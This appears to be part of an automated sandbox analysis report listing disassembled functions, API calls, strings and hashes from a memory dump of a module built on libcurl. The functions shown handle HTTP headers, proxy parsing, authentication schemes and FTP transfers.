Instruction Fuzzy Hash: 0B91EFB1A00B859BDB119F698981B4777FEAF843D8B108C7DF84AD7611E73CE8068B51

Function 6B8FD510 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 350COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD566
curl_mfprintf.LIBCURL(89000005,** Resuming transfer from byte position %I64d,00051C86,BF830000,83C70000,00000620,000F4240,00000000,868D0000,6B8E1696,?), ref: 6B8FD59D
curl_mfprintf.LIBCURL(89000005, %% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed,83C70000,00000620,000F4240,00000000,868D0000,6B8E1696,?), ref: 6B8FD5B0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD5FF
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD623
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD636
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD677
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD6D5
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD702
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD715
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD76F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD891
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD8A1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD8C7
curl_mfprintf.LIBCURL(89000005,%3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s,?,?,00000000,?,?,00000000,?,?,00000000,?,?,00000000), ref: 6B8FD9A1

Strings

%% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed, xrefs: 6B8FD5A5
%3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s, xrefs: 6B8FD996
** Resuming transfer from byte position %I64d, xrefs: 6B8FD592

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$curl_mfprintf
String ID: %3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s$ %% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed$** Resuming transfer from byte position %I64d
API String ID: 2030109004-664487449
Opcode ID: e0023093bc332130ba7ecf1f3d2b5e57b4dd63c1d220d25170e5be1ca3538a93
Instruction ID: 9551a7cb5d0ebcd34bdcfde914e7dbeb39c39b0b20cbc91be099696f1ea9f666
Opcode Fuzzy Hash: e0023093bc332130ba7ecf1f3d2b5e57b4dd63c1d220d25170e5be1ca3538a93
Instruction Fuzzy Hash: 81E12F75A407089FEB208BB8CC41BAABBB9BF45348F108859AA5DA7251DB396841DF50

Function 6B8EAA80 Relevance: 31.8, APIs: 10, Strings: 8, Instructions: 269COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B8EAB26
___from_strstr_to_strchr.LIBCMT ref: 6B8EAB3C
curl_strnequal.LIBCURL(Host:,00000000,00000005), ref: 6B8EAC1A
curl_strnequal.LIBCURL(Content-Type:,00000000,0000000D), ref: 6B8EAC3E
curl_strnequal.LIBCURL(Content-Type:,00000000,0000000D), ref: 6B8EAC62
curl_strnequal.LIBCURL(Content-Length:,00000000,0000000F), ref: 6B8EAC86
curl_strnequal.LIBCURL(Connection:,00000000,0000000B), ref: 6B8EACAA
curl_strnequal.LIBCURL(Transfer-Encoding:,00000000,00000012), ref: 6B8EACCE
curl_strnequal.LIBCURL(Authorization:,00000000,0000000E), ref: 6B8EACE2
curl_strnequal.LIBCURL(Cookie:,00000000,00000007,?,?,?,?,?,?,6B8EE55E), ref: 6B8EACF6

Strings

Connection:, xrefs: 6B8EACA5
Cookie:, xrefs: 6B8EACF1
Content-Length:, xrefs: 6B8EAC81
Transfer-Encoding:, xrefs: 6B8EACC9
Content-Type:, xrefs: 6B8EAC39, 6B8EAC5D
%s, xrefs: 6B8EAD38
Host:, xrefs: 6B8EAC15
Authorization:, xrefs: 6B8EACDD

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_strnequal$___from_strstr_to_strchr
String ID: %s$Authorization:$Connection:$Content-Length:$Content-Type:$Cookie:$Host:$Transfer-Encoding:
API String ID: 431725195-2985882615
Opcode ID: 5d87a5f4419c2e7a08b88f237137a572b377d864794a789a19492a3e37228322
Instruction ID: 001de49fb246a9a3f9d0086516fde11f022170df909a37d49f49111b57d96e13
Opcode Fuzzy Hash: 5d87a5f4419c2e7a08b88f237137a572b377d864794a789a19492a3e37228322
Instruction Fuzzy Hash: A4916871E04205ABEB108E64D940B967BB6AF43B1CF0448F8EC589B242E77ED947C7B0

Function 6B8E4770 Relevance: 31.8, APIs: 8, Strings: 10, Instructions: 254COMMON

Download Yara Rule

APIs

curl_url.LIBCURL(00000000,00000000,6B8E2F71), ref: 6B8E478E
curl_url_set.LIBCURL(00000000,00000000,00000000,00000208,00000000,00000000,6B8E2F71), ref: 6B8E47A6
curl_url_get.LIBCURL(6B8E2F71,00000001,00000000,00000000,?,00000000,00000000,6B8E2F71), ref: 6B8E47C0
curl_url_cleanup.LIBCURL(6B8E2F71,?,?,?,?,00000000,00000000,6B8E2F71), ref: 6B8E4A84

Strings

socks5, xrefs: 6B8E4815
http, xrefs: 6B8E4873
Unsupported proxy '%s', libcurl is built without the HTTPS-proxy support., xrefs: 6B8E48B7
socks, xrefs: 6B8E485F
socks4, xrefs: 6B8E484B
Unsupported proxy scheme for '%s', xrefs: 6B8E4885
socks5h, xrefs: 6B8E47F7
https, xrefs: 6B8E47D9
Unsupported proxy syntax in '%s', xrefs: 6B8E4A63
socks4a, xrefs: 6B8E4830

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_urlcurl_url_cleanupcurl_url_getcurl_url_set
String ID: Unsupported proxy '%s', libcurl is built without the HTTPS-proxy support.$Unsupported proxy scheme for '%s'$Unsupported proxy syntax in '%s'$http$https$socks$socks4$socks4a$socks5$socks5h
API String ID: 4131495542-874090715
Opcode ID: 17f75bc3dd07b6c412261e3e287406e80ba40f0022a2be9e5555dc7eff4317c6
Instruction ID: 1191b326b030e87c91b1d450db3abfe5795d61b52d92713cb925e5b979686c24
Opcode Fuzzy Hash: 17f75bc3dd07b6c412261e3e287406e80ba40f0022a2be9e5555dc7eff4317c6
Instruction Fuzzy Hash: 4C91C275C44219ABDF009FA5CC41B9EBBB4AF82309F0844B9ED1877251E739DA12DBB1

Function 6B8ECF60 Relevance: 31.7, APIs: 3, Strings: 15, Instructions: 245COMMON

Download Yara Rule

APIs

curl_maprintf.LIBCURL(Authorization: Bearer %s,?,?,?,?,?,?,?,?,?), ref: 6B8ECFF2
curl_maprintf.LIBCURL(%s:%s,?,6B93B98E,?,00000000), ref: 6B8ED106
curl_maprintf.LIBCURL(%sAuthorization: Basic %s,Proxy-,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6B8ED180

Part of subcall function 6B8F48E0: curl_mvaprintf.LIBCURL(?,?,?,6B8D66CB,%s.%s.tmp,?,?,?,?,?,?), ref: 6B8F48EA

Strings

Authorization, xrefs: 6B8ED0A3
Bearer, xrefs: 6B8ED1CC
Proxy-authorization, xrefs: 6B8ED078
%sAuthorization: Basic %s, xrefs: 6B8ED17B
Server, xrefs: 6B8ED1FB
%s:%s, xrefs: 6B8ED101
Authorization:, xrefs: 6B8ECFC1
Negotiate, xrefs: 6B8ECF97
%s auth using %s with user '%s', xrefs: 6B8ED20A
NTLM, xrefs: 6B8ED02B
Authorization: Bearer %s, xrefs: 6B8ECFED
Digest, xrefs: 6B8ED03D
Proxy, xrefs: 6B8ED200, 6B8ED209
Proxy-, xrefs: 6B8ED172, 6B8ED17A
Basic, xrefs: 6B8ED0C1

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_maprintf$curl_mvaprintf
String ID: %s auth using %s with user '%s'$%s:%s$%sAuthorization: Basic %s$Authorization$Authorization:$Authorization: Bearer %s$Basic$Bearer$Digest$NTLM$Negotiate$Proxy$Proxy-$Proxy-authorization$Server
API String ID: 3491783128-3980008082
Opcode ID: be52859626718121c403697bf5e58aa33d6cadb7c4e272c395097a1ee2bc2585
Instruction ID: 713c70b01bbbde266f82553f4b9634b1f9d18d721a5bde1833b1fc44bca1d672
Opcode Fuzzy Hash: be52859626718121c403697bf5e58aa33d6cadb7c4e272c395097a1ee2bc2585
Instruction Fuzzy Hash: 6281C635A44119AFDB008E68D8517AAB7B4EF87355F0884A6FC08DB311D339DD56CBB1

Function 6B8E4AA0 Relevance: 28.4, APIs: 13, Strings: 3, Instructions: 357COMMON

Download Yara Rule

APIs

curl_url_dup.LIBCURL(?,00000000,?,?,?), ref: 6B8E4AD5
curl_url.LIBCURL(00000000,?,?,?), ref: 6B8E4AE4
curl_maprintf.LIBCURL(%s://%s,?,?,?,?,?,00000000,?,?,?), ref: 6B8E4B43
curl_url_set.LIBCURL(00000000,00000000,?,00000208), ref: 6B8E4B97
curl_url_get.LIBCURL(00000000,00000000,?,00000000,?,?,?,?,00000000,?,?,?), ref: 6B8E4BDB
curl_url_get.LIBCURL(00000000,00000001,?,00000000), ref: 6B8E4C1A
curl_url_get.LIBCURL(00000000,00000002,?,00000000), ref: 6B8E4CA5
curl_url_get.LIBCURL(00000000,00000003,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6B8E4D10
curl_url_get.LIBCURL(00000000,00000004,?,00000040), ref: 6B8E4D77
curl_url_get.LIBCURL(00000000,00000005,?,00000000), ref: 6B8E4DBD
curl_url_get.LIBCURL(00000000,00000007,?,00000000), ref: 6B8E4DEC
curl_url_get.LIBCURL(00000000,00000006,?,00000001), ref: 6B8E4E08
curl_url_get.LIBCURL(00000000,00000008,?,00000000), ref: 6B8E4E6A

Strings

Protocol "%s" not supported or disabled in libcurl, xrefs: 6B8E4EF4
%s://%s, xrefs: 6B8E4B3E
file, xrefs: 6B8E4DCF, 6B8E4E1A

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_url_get$curl_maprintfcurl_urlcurl_url_dupcurl_url_set
String ID: %s://%s$Protocol "%s" not supported or disabled in libcurl$file
API String ID: 3053744392-4150109901
Opcode ID: aa746414202becf7b34aae8918f7a7eb40ecc0ddd960321f79ee78a7fc658fb5
Instruction ID: c4b7d754c5cc4e7ebbc12e5a838bcb49fda35833736992f0236efc72e4859db2
Opcode Fuzzy Hash: aa746414202becf7b34aae8918f7a7eb40ecc0ddd960321f79ee78a7fc658fb5
Instruction Fuzzy Hash: 63C11775A447046BEB119A38DC41BEA37E8EF82308F0808A9FD5DCB242E77AE551D771

Function 6B8E7E80 Relevance: 23.1, APIs: 4, Strings: 9, Instructions: 386COMMON

Download Yara Rule

APIs

curl_msnprintf.LIBCURL(?,00000007,:%u,?), ref: 6B8E7F89

Part of subcall function 6B9006B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6B8F6C24), ref: 6B9006EF
Part of subcall function 6B9006B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B90072F

___from_strstr_to_strchr.LIBCMT ref: 6B8E8007
___from_strstr_to_strchr.LIBCMT ref: 6B8E80B6

Strings

Resolve address '%s' found illegal!, xrefs: 6B8E81A2
Couldn't parse CURLOPT_RESOLVE removal entry '%s'!, xrefs: 6B8E7EFB
*, xrefs: 6B8E82DD
%255[^:]:%d, xrefs: 6B8E7EE6
Couldn't parse CURLOPT_RESOLVE entry '%s'!, xrefs: 6B8E831E
Added %s:%d:%s to DNS cache, xrefs: 6B8E82CF
RESOLVE %s:%d is wildcard, enabling wildcard checks, xrefs: 6B8E82FC
RESOLVE %s:%d is - old addresses discarded!, xrefs: 6B8E824E
:%u, xrefs: 6B8E7F81, 6B8E81EB

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ___from_strstr_to_strchrcurl_msnprintf$curl_mvsnprintf
String ID: %255[^:]:%d$*$:%u$Added %s:%d:%s to DNS cache$Couldn't parse CURLOPT_RESOLVE entry '%s'!$Couldn't parse CURLOPT_RESOLVE removal entry '%s'!$RESOLVE %s:%d is - old addresses discarded!$RESOLVE %s:%d is wildcard, enabling wildcard checks$Resolve address '%s' found illegal!
API String ID: 3777538264-1944672612
Opcode ID: 5432a602540d38d47063397a667f97673d92197c13b781ca8831629f60fd2aed
Instruction ID: 36b8a7f25ffe776ce240b670fbc7f4f96ff832db1cbd37e624655b3abdf8418f
Opcode Fuzzy Hash: 5432a602540d38d47063397a667f97673d92197c13b781ca8831629f60fd2aed
Instruction Fuzzy Hash: DBD11871D046299FDB218F74CC84BAEB778EF42308F1005E9D85C67242E739AA46CFA0

Function 6B8DDE80 Relevance: 23.1, APIs: 2, Strings: 11, Instructions: 375COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B8DDEE5
curl_maprintf.LIBCURL(%u.%u.%u.%u,00000000,00000000,00000000,00000000), ref: 6B8DE134

Part of subcall function 6B8F48E0: curl_mvaprintf.LIBCURL(?,?,?,6B8D66CB,%s.%s.tmp,?,?,?,?,?,?), ref: 6B8F48EA

Part of subcall function 6B8E84A0: inet_pton.WS2_32(00000002,00000000,?), ref: 6B8E8590
Part of subcall function 6B8E84A0: inet_pton.WS2_32(00000017,00000000,?), ref: 6B8E85C0

Part of subcall function 6B8D2A60: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8D2BA0

Strings

%u,%u,%u,%u,%u,%u, xrefs: 6B8DE06A
Connecting to %s (%s) port %d, xrefs: 6B8DE304
Can't resolve proxy host %s:%hu, xrefs: 6B8DE1DD
%u.%u.%u.%u, xrefs: 6B8DE12F
%c%c%c%u%c, xrefs: 6B8DDF1B
Illegal port number in EPSV reply, xrefs: 6B8DDF60
Weirdly formatted EPSV reply, xrefs: 6B8DDFCA
Skip %u.%u.%u.%u for data connection, re-use %s instead, xrefs: 6B8DE10E
Can't resolve new host %s:%hu, xrefs: 6B8DE257
Bad PASV/EPSV response: %03d, xrefs: 6B8DE3A3
Couldn't interpret the 227-response, xrefs: 6B8DE083

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: inet_pton$Unothrow_t@std@@@___from_strstr_to_strchr__ehfuncinfo$??2@curl_maprintfcurl_mvaprintf
String ID: %c%c%c%u%c$%u,%u,%u,%u,%u,%u$%u.%u.%u.%u$Bad PASV/EPSV response: %03d$Can't resolve new host %s:%hu$Can't resolve proxy host %s:%hu$Connecting to %s (%s) port %d$Couldn't interpret the 227-response$Illegal port number in EPSV reply$Skip %u.%u.%u.%u for data connection, re-use %s instead$Weirdly formatted EPSV reply
API String ID: 1323756762-2414412286
Opcode ID: 5934a7afd7853a5166c74d2cdb9f23892c0c91a4cc4c85c32c686b7b49e31ee9
Instruction ID: 33d4195edb27e35d6a8a9ad4a9548b2b8dcd9d3d8e6a1e78d3129a2aba4f7d9f
Opcode Fuzzy Hash: 5934a7afd7853a5166c74d2cdb9f23892c0c91a4cc4c85c32c686b7b49e31ee9
Instruction Fuzzy Hash: 28D1D471E04129ABDB259B64CC41BEAF7B8FF45319F0005E7E909A7241D73DAA908FE1

Function 6B8EB5C0 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 205COMMON

Download Yara Rule

APIs

curl_strnequal.LIBCURL(Negotiate,?,00000009,00000000,?,?,?,00000000), ref: 6B8EB61C
curl_strnequal.LIBCURL(NTLM,?,00000004,00000000,?,?,?,00000000), ref: 6B8EB6A0
curl_strnequal.LIBCURL(Digest,?,00000006,?,?,?,00000000,?,?,?,00000000), ref: 6B8EB704
curl_strnequal.LIBCURL(Basic,?,00000005,?,?,?,?,?,?,00000000,?,?,?,00000000), ref: 6B8EB75D

Part of subcall function 6B9006B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6B8F6C24), ref: 6B9006EF
Part of subcall function 6B9006B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B90072F

Strings

Bearer, xrefs: 6B8EB77C
NTLM, xrefs: 6B8EB69B
Digest, xrefs: 6B8EB6FF
t!, xrefs: 6B8EB747
Ignoring duplicate digest auth header., xrefs: 6B8EB716
Basic, xrefs: 6B8EB758
Authentication problem. Ignoring this., xrefs: 6B8EB7A4
Negotiate, xrefs: 6B8EB617

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_strnequal$curl_msnprintfcurl_mvsnprintf
String ID: Authentication problem. Ignoring this.$Basic$Bearer$Digest$Ignoring duplicate digest auth header.$NTLM$Negotiate$t!
API String ID: 4236074386-280430007
Opcode ID: dec0d8a2eaae250b253e361bd0bf1b82b89f1e333202ddb69dbe9e65890813b8
Instruction ID: 2c47081c67c9e5c331729dcb0518311ed2f2f606cdabcca41f5df853d79fe57d
Opcode Fuzzy Hash: dec0d8a2eaae250b253e361bd0bf1b82b89f1e333202ddb69dbe9e65890813b8
Instruction Fuzzy Hash: 3E613934904305EBEB008E75DCC17967BE59F43348F1088A4DCA9AB652E73AD956CBB1

Function 6B90E810 Relevance: 21.3, APIs: 3, Strings: 9, Instructions: 288COMMON

Download Yara Rule

APIs

Part of subcall function 6B9006B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6B8F6C24), ref: 6B9006EF
Part of subcall function 6B9006B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B90072F

curl_slist_free_all.LIBCURL(00000000,?,?,?,?,?,?,?,?,?,Moving trailers state machine from initialized to sending.,?,?,?), ref: 6B90E994

Part of subcall function 6B8EB530: ___from_strstr_to_strchr.LIBCMT ref: 6B8EB55B

curl_slist_free_all.LIBCURL(00000000,?,Successfully compiled trailers.,?,?,?,?,?,?,?,?,?,Moving trailers state machine from initialized to sending.,?,?,?), ref: 6B90E8CD
curl_msnprintf.LIBCURL(?,0000000B,%zx%s,?,6B93BF70), ref: 6B90EAC6

Part of subcall function 6B9005D0: curl_mvsnprintf.LIBCURL(?,00000100,6B8FC830,?), ref: 6B900610

Strings

operation aborted by callback, xrefs: 6B90E945
operation aborted by trailing headers callback, xrefs: 6B90E96F
Successfully compiled trailers., xrefs: 6B90E8BF
Signaling end of chunked upload via terminating chunk., xrefs: 6B90EB1B
Moving trailers state machine from initialized to sending., xrefs: 6B90E842
%zx%s, xrefs: 6B90EAA9
Read callback asked for PAUSE when not supported!, xrefs: 6B90E9DC
Signaling end of chunked upload after trailers., xrefs: 6B90EBBE
read function returned funny value, xrefs: 6B90EA35

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_msnprintfcurl_mvsnprintfcurl_slist_free_all$___from_strstr_to_strchr
String ID: %zx%s$Moving trailers state machine from initialized to sending.$Read callback asked for PAUSE when not supported!$Signaling end of chunked upload after trailers.$Signaling end of chunked upload via terminating chunk.$Successfully compiled trailers.$operation aborted by callback$operation aborted by trailing headers callback$read function returned funny value
API String ID: 2651734479-586909597
Opcode ID: 09b59b6dd441754f43b1a814e6bfc4cc9bfa25db60db99397b40858b66a29a44
Instruction ID: 6d3435f86b5f41f0a3e77c8b81f6a1d67213f998d36d6c3464f1ad9ccf9e22c7
Opcode Fuzzy Hash: 09b59b6dd441754f43b1a814e6bfc4cc9bfa25db60db99397b40858b66a29a44
Instruction Fuzzy Hash: ECA10971E04609ABD714CF74D8827EEFBB8AF55318F00425EE819A7280DB7DE9948BD1

Function 6B8DB160 Relevance: 21.3, APIs: 14, Instructions: 267COMMON

Download Yara Rule

APIs

Part of subcall function 6B8F27F0: curl_slist_free_all.LIBCURL(?,?), ref: 6B8F2801
Part of subcall function 6B8F27F0: curl_slist_free_all.LIBCURL(?), ref: 6B8F2812

curl_mime_init.LIBCURL(?,?,?), ref: 6B8DB187

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_slist_free_all$curl_mime_init
String ID:
API String ID: 2112604817-0
Opcode ID: bc949395acadc5847afb11d0a10bff012655bda8de7bdce5ef64b7c672930832
Instruction ID: 81918a5c071dc200b7d59a5d44b36cc4b5ac5e7f8a7f42c97a32d3a14c77c185
Opcode Fuzzy Hash: bc949395acadc5847afb11d0a10bff012655bda8de7bdce5ef64b7c672930832
Instruction Fuzzy Hash: 39814576E04616ABCB158E68DC42B5B77E8EF04364F040EA6EC18A7341E73DED2593D1

Function 6B8DBF20 Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 383COMMON

Download Yara Rule

APIs

curl_easy_strerror.LIBCURL(00000000), ref: 6B8DC103

Strings

Remembering we are in dir "%s", xrefs: 6B8DC082
Uploaded unaligned file size (%I64d out of %I64d bytes), xrefs: 6B8DC382
No data was received!, xrefs: 6B8DC3FD
ABOR, xrefs: 6B8DC0E6
Exceeded storage allocation, xrefs: 6B8DC2B3
control connection looks dead, xrefs: 6B8DC20D
Failure sending ABOR command: %s, xrefs: 6B8DC109
partial download completed, closing connection, xrefs: 6B8DC25B
Received only partial file: %I64d bytes, xrefs: 6B8DC417
server did not report OK, got %d, xrefs: 6B8DC29E

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_easy_strerror
String ID: ABOR$Exceeded storage allocation$Failure sending ABOR command: %s$No data was received!$Received only partial file: %I64d bytes$Remembering we are in dir "%s"$Uploaded unaligned file size (%I64d out of %I64d bytes)$control connection looks dead$partial download completed, closing connection$server did not report OK, got %d
API String ID: 1399792982-944385548
Opcode ID: e125c6dbb8e098f13c184d6a0dfc3ef0c1f70d7cb54297e8c93d8daf4f73ac5c
Instruction ID: 4c2205e48c1e1535ddb1eae6488c1c7a47e7dea576a7cc2202f5b2e223f4ae10
Opcode Fuzzy Hash: e125c6dbb8e098f13c184d6a0dfc3ef0c1f70d7cb54297e8c93d8daf4f73ac5c
Instruction Fuzzy Hash: E7E1F3759047449BEB11CF68C881B9A7BF5AF46324F184DEAE8589B283D73CD580CFA1

Function 6B935D4F Relevance: 19.6, APIs: 13, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 6B935D6C

Part of subcall function 6B92F7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6B935EE0,6B9538A0,00000000,6B9538A0,00000000,?,6B935F07,6B9538A0,00000007,6B9538A0,?,6B93532A,6B9538A0), ref: 6B92F800
Part of subcall function 6B92F7EA: GetLastError.KERNEL32(6B9538A0,?,6B935EE0,6B9538A0,00000000,6B9538A0,00000000,?,6B935F07,6B9538A0,00000007,6B9538A0,?,6B93532A,6B9538A0,6B9538A0), ref: 6B92F812

_free.LIBCMT ref: 6B935D7E
